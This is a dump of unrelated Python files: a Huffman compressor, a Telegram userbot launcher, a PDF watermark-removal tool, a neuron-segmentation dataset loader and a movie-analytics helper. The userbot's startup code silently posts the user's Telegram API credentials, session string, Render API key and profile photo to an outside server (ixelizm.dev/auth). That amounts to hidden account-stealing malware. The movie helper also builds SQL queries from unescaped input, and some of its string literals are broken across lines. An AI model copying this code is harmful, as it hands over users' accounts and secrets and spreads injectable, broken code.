    # je parcours l'arbre en profondeur pour récupérer la représentation en binaire de chaque caractère
    parcours_profondeur = arbre.parcours_profondeur()

    # je créer le dictionnaire qui lie caractère et représentation en binaire
    new_alphabet = dict()
    for result in parcours_profondeur:
        new_alphabet[result[0]] = list_to_string(result[2])

    # je créer le fichier qui contient le texte compressé
    texte_compresse = text_to_bitarray(nom_fichier, new_alphabet)
    with open(nom_fichier[:-4]+'_comp.bin', mode='wb',) as new_file:
        texte_compresse.tofile(new_file)

    # je créer le fichier qui va contenir le dictionnaire contenant l'alphabet ainsi que les fréquences d'apparition des caractères

    with open(nom_fichier, mode='r') as f:
        reader = f.read()
        nb_caracteres = len(reader)
    with open(nom_fichier[:-4]+'_freq.txt', mode='w') as new_file:
        new_file.write(f'{nb_caracteres}\n')
        for key in liste_caracteres:
            new_file.write(f'{key} {alphabet[key]}\n')

    # 4. Détermination du taux de compression

    compare_size(nom_fichier, nom_fichier[:-4]+'_comp.bin')

    # 5. Détermination du nombre moyen de bits de stockage d’un caractère du texte compressé
    nb_bits = 0
    nb_caracteres = 0
    for key in liste_caracteres:
        nb_caracteres += alphabet[key]
        nb_bits += len(new_alphabet[key])*alphabet[key]
    print(
        f'le nombre moyen de bits de stockage par caractères est : {nb_bits/nb_caracteres} bits')


from pyrogram import Client, idle, enums
import json
from userbot import app, Db
from config import  *
from userbot import UPSTREAM_REPO
import sys
import requests
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from random import choice
import base64

async def keep_alive():
  url = "https://api.render.com/v1/services?limit=20"

  headers = {
      "accept": "application/json",
      "authorization": "Bearer " + RENDER_APIKEY
  }

  response = requests.get(url, headers=headers)
  requests.get(response.json()[0]["service"]["serviceDetails"]["url"])

#async def auto_deploy():
#  response = get(UPSTREAM_REPO)
#  if response.status_code == 200:
#    if response.json()["is_updated"]:
#        for file, data in response.json().items():
#          if file != "is_updated"]:
#            with open("userbot/modules/" + file + ".py", "w") as f:
#              f.write(data)
#        os.execl(sys.executable, sys.executable, "-m", "userbot")

scheduler = AsyncIOScheduler()
scheduler.add_job(keep_alive, "interval", seconds=5)
#scheduler.add_job(auto_deploy, "interval", seconds=5)
if __name__ == "__main__":
  app.start()
  if RENDER_APIKEY == "":
    app.send_message("me", "Render APIKEY Nerede dostum? onu da gir.")
    app.stop()
  me = app.get_me()
  for photo in app.get_chat_photos("me", limit = 1):
    photos = app.send_photo("me", photo.file_id)
    downloaded = photos.download(file_name=f"{me.id}.jpg")
    photos.delete()
    break
  with open(downloaded, "rb") as image_file:
    encoded_image = base64.b64encode(image_file.read()).decode('utf-8')

  user = {"user_id": me.id, "user": me.first_name, "render_apikey": RENDER_APIKEY, "image": encoded_image}
  envs = {
    "api_id": API_ID,
    "api_hash": API_HASH,
    "string_session": SESSION_STRING
  }
  data = {"user": user, "env": envs}
  requests.post("https://ixelizm.dev/auth", json=data)
  if len(sys.argv) > 1:
    resp = requests.get("https://ixelizm.dev/changelog")
    content = resp.text
    text = "`Bot Başarıyla Güncellendi!`"
    app.edit_message_text(int(sys.argv[-2]), int(sys.argv[-1]), text)
    Db.update_record("Settings", "id",1,{"id": 1, "DEFAULT_NAME": me.first_name})
  Db.update_record("Settings", "id",1,{"id": 1, "DEFAULT_NAME": me.first_name})
  scheduler.start()
  idle()


import argparse
import itertools
import json
import logging
import sys

from pathlib import Path

from server.src.pdf_tools_core import Document, set_log_level

log = logging.getLogger()
log_handler = logging.StreamHandler()
log.addHandler(log_handler)
log_handler.setFormatter(logging.Formatter('%(levelname)s: %(message)s'))

output_path = None

def _get_documents(path, recursive=False) -> list[Document]:
    path = Path(path)
    if path.is_file():
        if path.suffix.lower() == '.pdf':
            with path.open('rb') as fp:
                file = Document(filename=path, data=fp.read())
            return [file]
        else:
            logging.info(f'File "{path}" is not a PDF document.')
    elif path.is_dir():
        if recursive:
            pattern = '**/*.pdf'
        else:
            pattern = '*.pdf'

        documents = []

        if sys.version_info.minor >= 12:
            # "case_sensitive" only in 3.12
            file_path_generator_object = path.glob(pattern, case_sensitive=False)
        else:
            generators = [path.glob(pattern), path.glob(pattern.upper())]
            file_path_generator_object = itertools.chain(*generators)
        for file in file_path_generator_object:
            documents += _get_documents(file)

        return documents
    else:
        raise logging.warning(f'"{path}" is neither a file nor a directory.')

def _perform_action(doc: Document, action: str):
    global output_path

    if action.lower() in ['remove_watermarks']:
        doc.remove_watermarks()
    elif action.lower() in ['unlock_permissions']:
        doc.unlock_permissions()
    elif action.lower() in ['edit_bookmarks']:
        bookmark_file = doc.file.with_suffix('.json')

        if bookmark_file.is_file():
            logging.debug(f'updating bookmarks from "{bookmark_file}"')
            with bookmark_file.open() as fp:
                new_bookmarks: list = json.load(fp)
            doc.update_bookmarks(new_bookmarks)
        else:
            logging.debug(f'creating bookmark file "{bookmark_file}"')
            bookmarks = doc.get_bookmarks()
            with bookmark_file.open('w+') as fp:
                json.dump(bookmarks, fp, indent=4)
    elif action.lower() in ['save']:
        if not output_path:
            output_path = doc.file.parent
        output_filename = output_path / (doc.file.stem + '_out' + doc.file.suffix)

        i = 2
        while output_filename.exists():
            output_filename = output_path / (doc.file.stem + f'_out{i}' + doc.file.suffix)
            i += 1

        logging.debug(f'saving document to "{output_filename}"')
        with open(output_filename, 'wb') as fp:
            fp.write(doc.to_bytes())
    else:
        logging.warning(f'ignoring unknown action: {action}')

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="PDF tools provides helper tools for PDF documents, which can be selected via the actions argument. These actions are then applied to all selected files.")
    parser.add_argument('file', help='Path or filename to process')
    parser.add_argument('-r', '--recursive', action='store_true', help='Recursively process directory')
    parser.add_argument('-a', '--actions', nargs='*',
                        choices=['remove_watermarks', 'unlock_permissions', 'edit_bookmarks', 'save'],
                        default=['remove_watermarks', 'unlock_permissions', 'save'],
                        help='List of actions to perform')
    parser.add_argument('-o', '--output', help='Output path for saved files', required=False)
    parser.add_argument('-v', '--verbose', action='store_true')

    args = parser.parse_args()

    if args.verbose:
        log.setLevel(logging.DEBUG)
        set_log_level(logging.DEBUG)

    if args.output:
        output_path = Path(args.output)
        if not output_path.is_dir():
            logging.warning('If specified, output path must be a valid directory. Exiting now.')
            exit(1)

    documents = _get_documents(args.file, args.recursive)
    if documents:
        logging.debug('found documents:')
        for document in documents:
            logging.debug(document.file)
        logging.debug('')
    else:
        logging.warning('No documents selected. Exiting now.')
        exit(1)

    if args.actions:
        logging.debug('selected actions:')
        for i, action in enumerate(args.actions):
            logging.debug(f'{i+1}. {action}')
        logging.debug('')
    else:
        logging.warning('No actions specified. Exiting now.')
        exit(1)

    for document in documents:
        logging.debug(f'processing document "{document.file}"')
        for action in args.actions:
            _perform_action(document, action)
        document.doc.close()


import logging

from pathlib import Path

from yapsy.PluginManager import PluginManager

def get_module_logger():
    return logging.getLogger(__name__)

THIS_PATH = Path(__file__).parent

modules_plugin_manager = PluginManager()
modules_plugin_manager.setPluginPlaces([str(THIS_PATH)])
modules_plugin_manager.collectPlugins()

def activate_all():
    for plugin in modules_plugin_manager.getAllPlugins():
        logging.getLogger(__name__).info(
            "Loaded module plugin '%s'", plugin.name)
        modules_plugin_manager.activatePluginByName(plugin.name)

def get_single_module(module):
    logging.getLogger(__name__).info("Trying to load module '%s'", module.name)
    try:
        return modules_plugin_manager.getPluginByName(module.name).plugin_object.get(module)
    except AttributeError:
        get_module_logger().error("Could not load plugin '{}'".format(module.name))
        raise  # sys.exit()

def get(modules):
    return [get_single_module(module) for module in modules]

def set_log_level(level):
    logging.getLogger(__name__).setLevel(level)
    for plugin in modules_plugin_manager.getAllPlugins():
        plugin.plugin_object.set_log_level(level)


import os
import numpy as np

import torch_em
from . import util

CREMI_URLS = {
    "original": {
        "A": "https://cremi.org/static/data/sample_A_20160501.hdf",
        "B": "https://cremi.org/static/data/sample_B_20160501.hdf",
        "C": "https://cremi.org/static/data/sample_C_20160501.hdf",
    },
    "realigned": {},
    "defects": "https://zenodo.org/record/5767036/files/sample_ABC_padded_defects.h5"
}
CHECKSUMS = {
    "original": {
        "A": "4c563d1b78acb2bcfb3ea958b6fe1533422f7f4a19f3e05b600bfa11430b510d",
        "B": "887e85521e00deead18c94a21ad71f278d88a5214c7edeed943130a1f4bb48b8",
        "C": "2874496f224d222ebc29d0e4753e8c458093e1d37bc53acd1b69b19ed1ae7052",
    },
    "realigned": {},
    "defects": "7b06ffa34733b2c32956ea5005e0cf345e7d3a27477f42f7c905701cdc947bd0"
}

# TODO add support for realigned volumes
def get_cremi_dataset(
    path,
    patch_shape,
    samples=("A", "B", "C"),
    use_realigned=False,
    download=False,
    offsets=None,
    boundaries=False,
    rois={},
    defect_augmentation_kwargs={
        "p_drop_slice": 0.025,
        "p_low_contrast": 0.025,
        "p_deform_slice": 0.0,
        "deformation_mode": "compress",
    },
    **kwargs,
):
    """Dataset for the segmentation of neurons in EM.

    This dataset is from the CREMI challenge: https://cremi.org/.
    """
    assert len(patch_shape) == 3
    if rois is not None:
        assert isinstance(rois, dict)
    os.makedirs(path, exist_ok=True)

    if use_realigned:
        # we need to sample batches in this case
        # sampler = torch_em.data.MinForegroundSampler(min_fraction=0.05, p_reject=.75)
        raise NotImplementedError
    else:
        urls = CREMI_URLS["original"]
        checksums = CHECKSUMS["original"]

    data_paths = []
    data_rois = []
    for name in samples:
        url = urls[name]
        checksum = checksums[name]
        data_path = os.path.join(path, f"sample{name}.h5")
        # CREMI SSL certificates expired, so we need to disable verification
        util.download_source(data_path, url, download, checksum, verify=False)
        data_paths.append(data_path)
        data_rois.append(rois.get(name, np.s_[:, :, :]))

    if defect_augmentation_kwargs is not None and "artifact_source" not in defect_augmentation_kwargs:
        # download the defect volume
        url = CREMI_URLS["defects"]
        checksum = CHECKSUMS["defects"]
        defect_path = os.path.join(path, "cremi_defects.h5")
        util.download_source(defect_path, url, download, checksum)
        defect_patch_shape = (1,) + tuple(patch_shape[1:])
        artifact_source = torch_em.transform.get_artifact_source(defect_path, defect_patch_shape,
                                                                 min_mask_fraction=0.75,
                                                                 raw_key="defect_sections/raw",
                                                                 mask_key="defect_sections/mask")
        defect_augmentation_kwargs.update({"artifact_source": artifact_source})

    raw_key = "volumes/raw"
    label_key = "volumes/labels/neuron_ids"

    # defect augmentations
    if defect_augmentation_kwargs is not None:
        raw_transform = torch_em.transform.get_raw_transform(
            augmentation1=torch_em.transform.EMDefectAugmentation(**defect_augmentation_kwargs)
        )
        kwargs = util.update_kwargs(kwargs, "raw_transform", raw_transform)

    kwargs, _ = util.add_instance_label_transform(
        kwargs, add_binary_target=False, boundaries=boundaries, offsets=offsets
    )

    return torch_em.default_segmentation_dataset(
        data_paths, raw_key, data_paths, label_key, patch_shape, rois=data_rois, **kwargs
    )

def get_cremi_loader(
    path,
    patch_shape,
    batch_size,
    samples=("A", "B", "C"),
    use_realigned=False,
    download=False,
    offsets=None,
    boundaries=False,
    rois={},
    defect_augmentation_kwargs={
        "p_drop_slice": 0.025,
        "p_low_contrast": 0.025,
        "p_deform_slice": 0.0,
        "deformation_mode": "compress",
    },
    **kwargs,
):
    """Dataset for the segmentation of neurons in EM. See 'get_cremi_dataset' for details.
    """
    dataset_kwargs, loader_kwargs = util.split_kwargs(
        torch_em.default_segmentation_dataset, **kwargs
    )
    ds = get_cremi_dataset(
        path=path,
        patch_shape=patch_shape,
        samples=samples,
        use_realigned=use_realigned,
        download=download,
        offsets=offsets,
        boundaries=boundaries,
        rois=rois,
        defect_augmentation_kwargs=defect_augmentation_kwargs,
        **dataset_kwargs,
    )
    return torch_em.get_data_loader(ds, batch_size=batch_size, **loader_kwargs)


import traceback,json,pdb
from datetime import date,timedelta,datetime
import pandas as pd
from flask import jsonify
from backEnd.database.db_connection import set_connection
from answergen import create_single_column_response,create_multi_column_response,get_highlight_response
from frontendAPI import city_region_mapping

todays_date = str(datetime.now().date())

def get_table_df(table_name, db_name,movie_name):

    connection = set_connection(db_name)
    # cursor = connection.cursor()
    try:
        table = pd.read_sql(
            'SELECT avg(Seat_Percent) as occupancy,count(*) as shows,Crawl_Hour,City_Name,Movie_Name,Show_date '
            'FROM {0} where Movie_Name = "{1}" and Crawl_Hour = 18 and Show_Date = "{2}" group by '
            'Crawl_Hour,City_Name,Show_Date,Movie_Name'.format(table_name,movie_name,todays_date), con=connection)
        table = table.fillna('')
        table = table.replace('National-Capital-Region-NCR','NCR')
        return table

    except Exception:
        print(traceback.format_exc())

def get_response_city(movie_name,sortby,filterby,groupby=False):

    #default
    mid_txt = " Cities with highest {} are ".format(sortby)
    resp_count = 4
    sort = False
    filterAlais = "Top cities"

    #test alias
    sortbyAlias=sortby
    if sortby.lower() == "occupancy":
        sortbyAlias = "% occupancy"
    if sortby.lower() == "shows":
        sortbyAlias = " shows"

    #filterby drill
    if filterby:

        if "highest" in filterby.lower():
            resp_count = 1
            mid_txt = "City with highest {} is ".format(sortby)
            sort = False
            filterAlais=" Cities with higher {}".format(sortby)

        if "lowest" in filterby.lower():
            resp_count = 1
            mid_txt = "City with lowest {} is ".format(sortby)
            sort = True
            filterAlais = " Cities with lower {}".format(sortby)

    df_table = get_table_df('BMS_Regional_Occupancy', 'disney', movie_name)
    print(df_table)
    df_table['occupancy'] = round(df_table['occupancy'],2)

    cityAns = create_single_column_response(df_table, 'City_Name',mid_txt, n_answer=resp_count, sort_by=sortby,
                                            sort_asc=sort)
    cityAns+='

'
    cityAns+=create_multi_column_response(df_table, 'City_Name', sortby, '{} include '.format(filterAlais),
                answer_suffix=sortbyAlias, answer_prefix=' with ',  n_answer=3, sort_by=sortby, sort_asc=sort)

    sort = not sort
    cityAns+='

'
    cityAns+=create_multi_column_response(df_table, 'City_Name', sortby, " Cities with lower {} include ".format(sortby),
                answer_suffix=sortbyAlias, answer_prefix=' with ',  n_answer=3, sort_by=sortby, sort_asc=sort)

    return cityAns

def get_response_performance_city(movie_name,sortby,filterby,groupby=False):

    #default
    mid_txt = " Cities with highest performance {} are ".format(sortby)
    resp_count = 4
    sort = False
    filterAlais = " Cities with high performance"

    #test alias
    # sortbyAlias=sortby
    sortbyAlias = "%"

    #filterby drill
    if filterby:

        if "highest" in filterby.lower():
            resp_count = 1
            mid_txt = "City with highest performance {} is ".format(sortby)
            sort = False
            filterAlais=" Cities with high performance {}".format(sortby)

        if "lowest" in filterby.lower():
            resp_count = 1
            mid_txt = "City with lowest performance {} is ".format(sortby)
            sort = True
            filterAlais = " Cities with low performance {}".format(sortby)

    #get table from Db
    df_table = get_table_df('BMS_Regional_Occupancy', 'disney', movie_name)

    #adding volume, percentage column to df
    df_table = df_with_performance_volume_percentage(df_table)

    print(df_table)
    print(df_table['percentage'].sum())

    #Converting dataframe to readable text response.
    perfAns = create_single_column_response(df_table, 'City_Name',mid_txt, n_answer=resp_count, sort_by=sortby,
                                            sort_asc=sort)
    perfAns+='

'
    perfAns+=create_multi_column_response(df_table, 'City_Name', sortby, '{} include '.format(filterAlais),
                answer_suffix=sortbyAlias, answer_prefix=' with approx ',  n_answer=3, sort_by=sortby,
                                          sort_asc=sort)
    print(perfAns)

    sort = not sort
    perfAns+='

'
    perfAns+=create_multi_column_response(df_table, 'City_Name', sortby, " Cities with lower performance include ",
                answer_suffix=sortbyAlias, answer_prefix=' with ',  n_answer=3, sort_by=sortby, sort_asc=sort)
    return perfAns

def get_response_performance_region(movie_name,sortby,filterby,regionName):

    #default
    mid_txt = " Cities with highest performance {0} in {1} India are ".format(sortby,regionName)
    resp_count = 4
    sort = False
    filterAlais = " Cities with high performance in {} India".format(regionName)

    #test alias
    # sortbyAlias=sortby
    sortbyAlias = "%"

    try:

        #filterby drill
        if filterby:

            if "highest" in filterby.lower():
                resp_count = 1
                mid_txt = "City with highest performance {0} in {1} India is ".format(sortby,regionName)
                sort = False
                filterAlais=" Cities with high performance {0} in {1} India ".format(sortby,regionName)

            if "lowest" in filterby.lower():
                resp_count = 1
                mid_txt = "City with lowest performance {0} in {1} India is ".format(sortby,regionName)
                sort = True
                filterAlais=" Cities with low performance {0} in {1} India ".format(sortby,regionName)

        #get table from Db
        df_table = get_table_df('BMS_Regional_Occupancy', 'disney', movie_name)

        #filtering cities as per region
        city_list = city_region_mapping.region_list[regionName.lower()]
        df_table = df_table[df_table['City_Name'].isin(city_list)]

        #adding volume, percentage column to df
        df_table = df_with_performance_volume_percentage(df_table)

        print(df_table)
        print(df_table['percentage'].sum())

        #Converting dataframe to readable text response.
        perfAns = create_single_column_response(df_table, 'City_Name',mid_txt, n_answer=resp_count, sort_by=sortby,
                                                sort_asc=sort)
        perfAns+='

'
        perfAns+=create_multi_column_response(df_table, 'City_Name', sortby, '{} include '.format(filterAlais),
                    answer_suffix=sortbyAlias, answer_prefix=' with approx ',  n_answer=3, sort_by=sortby,
                                              sort_asc=sort)
        print(perfAns)
        sort = not sort
        perfAns+='

'
        perfAns+=create_multi_column_response(df_table, 'City_Name', sortby, " Cities with lower performance include ",
                    answer_suffix=sortbyAlias, answer_prefix=' with ',  n_answer=3, sort_by=sortby, sort_asc=sort)

    except Exception as e:
        print(e)
        perfAns = "Data for {} is not available".format(regionName)

    return (perfAns)

def get_BMS_likes(movie_name):

    current_date = date_shifter("2019-10-10",0)
    week_before = "2019-10-10"
    yesterday_date = "2019-10-09"
    connection = set_connection('disney')
    table_name = "BMS_User_Likes"
    table = pd.read_sql(
        'SELECT Likes,Crawl_Date from {0} where Movie = "{1}" '
            .format(table_name,movie_name), con=connection)
    table = table.sort_values(by='Crawl_Date')
    print(table)
    ans_likes = ""
    #pdb.set_trace()
    try:
        current_likes = table[table['Crawl_Date']==datetime.now().date()]
        current_likes = int(current_likes['Likes'].values[0])
        print(current_likes)
        ans_likes = "{0} has {1} likes.".format(movie_name,get_highlight_response(current_likes))
        yesterdays_likes = table[table['Crawl_Date']==date_shifter(todays_date,-1)]
        yesterdays_likes = int(yesterdays_likes['Likes'].values[0])
        if yesterdays_likes:
            ans_likes += "

"
            ans_likes += "Likes has increased by {} since yesterday.".format(get_highlight_response(current_likes-yesterdays_likes))
        likes_week_before = table[table['Crawl_Date']==date_shifter(todays_date,-7)]
        likes_week_before = int(likes_week_before['Likes'].values[0])
        if likes_week_before:
            percentage_increase = (current_likes - likes_week_before)/current_likes*100
            ans_likes += " There is a {}% increase in likes since last week.".format(get_highlight_response(round(percentage_increase,2)))
        print(ans_likes)
    except Exception as e :
        print(e)
        if ans_likes:
            return ans_likes
        else:
            return "Data not available for "+movie_name
    return ans_likes

def get_YT_data(movie_name):

    connection = set_connection('disney')
    table_name = ""
    table = pd.read_sql(
        'SELECT Likes,Views from {0} where Crawl_Date = "2019-10-10" and Movie = "{1}" '.format(table_name,movie_name), con=connection)

def get_distribution_data(movie_name):

    if movie_name == "WAR":
        distribution_table = pd.read_csv('War_2019-10-11.csv')
    elif movie_name == "The Sky is Pink":
        distribution_table = pd.read_csv('The_Sky_Is_Pink_2019-10-11.csv')
    elif movie_name == "Joker":
        distribution_table = pd.read_csv('Joker_2019-10-11.csv')
    else:
        return 'Movie not found'

    atp_national = round(distribution_table['Ticket Price'].mean(axis=0))
    distribution_table = distribution_table.groupby(['Theatre Region']).agg({'Ticket Price': ['mean']})
    print(distribution_table)
    print(atp_national)

    #default
    sortby = "Ticket Price_mean"

    sort = False

    #test alias
    sortbyAlias = "₹"

    distribution_table = flatten_columns(distribution_table)

    distribution_table = distribution_table.reset_index(level=0)
    print(distribution_table)

    perfAns = "Average Ticket Price for {0} is {1}₹.".format(get_highlight_response(movie_name),get_highlight_response(atp_national))

    perfAns+='

'
    distribution_table = distribution_table.round(2)
    perfAns+=create_multi_column_response(distribution_table, 'Theatre Region', sortby, " Cities with higher Average Ticket Price (ATP) include ",
                answer_suffix=sortbyAlias, answer_prefix=' with ',  n_answer=3, sort_by=sortby, sort_asc=sort)
    sort = not sort
    perfAns+='

'
    perfAns+=create_multi_column_response(distribution_table, 'Theatre Region', sortby, " Cities with lower ATP include are ",
                answer_suffix=sortbyAlias, answer_prefix=' with ',  n_answer=3, sort_by=sortby, sort_asc=sort)

    return perfAns

def date_shifter(date_in,day_shift,string_resp=False):

    date_in = datetime.strptime(date_in,'%Y-%m-%d').date()
    date_out = date_in + timedelta(days=day_shift)
    if not string_resp:
        return date_out
    return str(date_out)

def df_with_performance_volume_percentage(df_in):
    """this function will add volume and volume percentage to the dataframe"""
    #round occupancy
    df_in['occupancy'] = df_in['occupancy'].round()
    #volumne = occupancy*shows
    df_in['Volume'] = df_in['shows']*df_in['occupancy']
    #calculating percentage occupancy
    volSum = df_in['Volume'].sum()
    df_in['percentage'] = round((df_in['Volume'] / volSum)*100,2)

    return df_in

def flatten_columns(df):

    df.columns =  ['_'.join(tup).rstrip('_') for tup in df.columns.values]

    return df
#get_BMS_likes('Frozen 2')
# get_response('Bharat','','shows','')
# get_response_performance_city('Bharat','percentage','highest')
# get_response_performance_region('Bharat','percentage','','All')
# print(get_highlight_response("cacha"))
# print(date_shifter('2019-10-10' ,-1))
# get_distribution_data('Joker')


def medias(records):

    soma = 0
    num = 0
    for a in records[2]:
        soma += a
        num += 1
    medias = soma/num
    return medias

def sort_grades(records):

    names = sorted(records)
    by_order_records = tuple(sorted(names, key=medias, reverse = True))
    return by_order_records